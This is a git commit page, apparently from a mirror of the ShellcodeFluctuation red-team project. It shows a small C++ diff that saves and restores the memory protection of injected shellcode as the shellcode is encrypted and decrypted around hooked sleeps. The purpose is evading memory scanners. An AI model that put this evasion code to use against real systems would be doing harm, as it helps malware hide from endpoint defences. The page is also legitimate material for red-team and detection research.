admin/mgeeky-ShellcodeFluctuation
1
0
Fork 0
mirror of https://github.com/mgeeky/ShellcodeFluctuation synced 2026-06-06 16:14:31 +00:00
Code Issues Packages Projects Releases Wiki Activity

Merge branch 'master' of github.com:mgeeky/ShellcodeFluctuation

Browse Source
This commit is contained in:
Mariusz B. / mgeeky
2021-10-19 11:10:45 +02:00
parent aeebb66c33 21a7194ca7
commit cb7a803493
2 changed files with 6 additions and 4 deletions
Download Patch File Download Diff File Expand all files Collapse all files
ShellcodeFluctuation/header.h
+1
View File
@@ -31,6 +31,7 @@ struct FluctuationMetadata
SIZE_T shellcodeSize;
bool currentlyEncrypted;
DWORD encodeKey;
DWORD protect;
};
struct HookedSleep
ShellcodeFluctuation/main.cpp
+5 -4
View File
@@ -166,7 +166,8 @@ bool isShellcodeThread(LPVOID address)
{
const DWORD expectedProtection = (g_fluctuate == FluctuateToRW) ? PAGE_READWRITE : PAGE_NOACCESS;
return ((mbi.Protect & Shellcode_Memory_Protection)
return ((mbi.Protect & PAGE_EXECUTE_READ)
|| (mbi.Protect & PAGE_EXECUTE_READWRITE)
|| (mbi.Protect & expectedProtection));
}
}
@@ -290,7 +291,7 @@ void shellcodeEncryptDecrypt(LPVOID callerAddress)
g_fluctuationData.shellcodeAddr,
g_fluctuationData.shellcodeSize,
PAGE_READWRITE,
&oldProt
&g_fluctuationData.protect
);
log("[>] Flipped to RW.");
@@ -329,11 +330,11 @@ void shellcodeEncryptDecrypt(LPVOID callerAddress)
::VirtualProtect(
g_fluctuationData.shellcodeAddr,
g_fluctuationData.shellcodeSize,
Shellcode_Memory_Protection,
g_fluctuationData.protect,
&oldProt
);
log("[<] Flipped to RX.\n");
log("[<] Flipped back to RX/RWX.\n");
}
g_fluctuationData.currentlyEncrypted = !g_fluctuationData.currentlyEncrypted;